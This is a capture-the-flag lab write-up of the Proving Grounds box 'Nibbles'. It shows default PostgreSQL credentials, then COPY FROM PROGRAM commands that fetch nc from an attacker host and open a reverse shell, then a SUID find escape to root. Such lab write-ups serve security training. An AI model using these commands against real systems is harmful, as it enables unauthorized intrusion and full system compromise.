# Nibbles-PostgreSQL Writeup - Proving Grounds

> Intermediate Linux box where default PostgreSQL credentials and COPY FROM PROGRAM give a postgres shell, then a SUID find binary escalates to root.

- **URL:** https://hackindex.io/writeups/nibbles-postgredsql
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Linux
- **Tags:** default-credentials, postgresql, privilege-escalation, suid, gtfobins
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 2 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Nibbles exposes a PostgreSQL server on all interfaces still using the default `postgres:postgres` credentials. Its `COPY FROM PROGRAM` feature gives direct command execution for a shell as the `postgres` user, and a SUID bit left on `find` gives root.

## Reconnaissance

### Nmap

Full TCP port scan.

```bash
sudo nmap -p- $TARGET_IP
# PORT     STATE SERVICE
# 21/tcp   open  ftp
# 22/tcp   open  ssh
# 80/tcp   open  http
# 139/tcp  open  netbios-ssn
# 445/tcp  open  microsoft-ds
# 5437/tcp open  pmip6-data
```

A focused scan identifies the unrecognized service on 5437 as PostgreSQL.

```bash
sudo nmap -p 5437 $TARGET_IP -A -sV -T4
# 5437/tcp open  postgresql PostgreSQL DB 9.6.0 or later
```

## Exploitation

### PostgreSQL default credentials and COPY FROM PROGRAM

Since the server listens on all interfaces, connect remotely and try the default credentials.

```bash
psql -h $TARGET_IP -p 5437 -U postgres
# Password for user postgres: [postgres]
# psql (12.2), server 11.7
# postgres=#
```

Default credentials work. PostgreSQL's default configuration allows `COPY ... FROM PROGRAM`, which executes an arbitrary shell command. Host a copy of `nc` and start a listener first.

```bash
cp /usr/bin/nc .
sudo python3 -m http.server 80
nc -lvp 5437
# listening on [any] 5437 ...
```

From the `psql` session, download the hosted `nc` binary and use it to connect back.

```sql
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'wget http://$ATTACKER_IP/nc -O /tmp/nc';
COPY cmd_exec FROM PROGRAM 'chmod +x /tmp/nc; /tmp/nc -n $ATTACKER_IP 5437 -e /usr/bin/bash';
```

The listener catches a shell as `postgres`. Stabilize it.

```bash
python -c 'import pty; pty.spawn("/bin/bash")'
# postgres@debian:/var/lib/postgresql/11/main$ id
# uid=106(postgres) gid=113(postgres) groups=113(postgres),112(ssl-cert)
```

## Privilege Escalation

### SUID find (GTFOBins)

Enumerate SUID binaries.

```bash
find / -perm -u=s -type f 2>/dev/null
# /usr/bin/sudo
# /usr/bin/mount
# /usr/bin/su
# /usr/bin/find
# /usr/bin/passwd
```

`find` itself has the SUID bit set. GTFOBins lists `find -exec` as a direct root escape for a SUID `find` binary.

```bash
find . -exec /bin/sh -p \; -quit
# # whoami
# root
```

Related

## References

- [GTFOBins: find](https://gtfobins.github.io/gtfobins/find/) - Abusing a SUID find binary for privilege escalation.
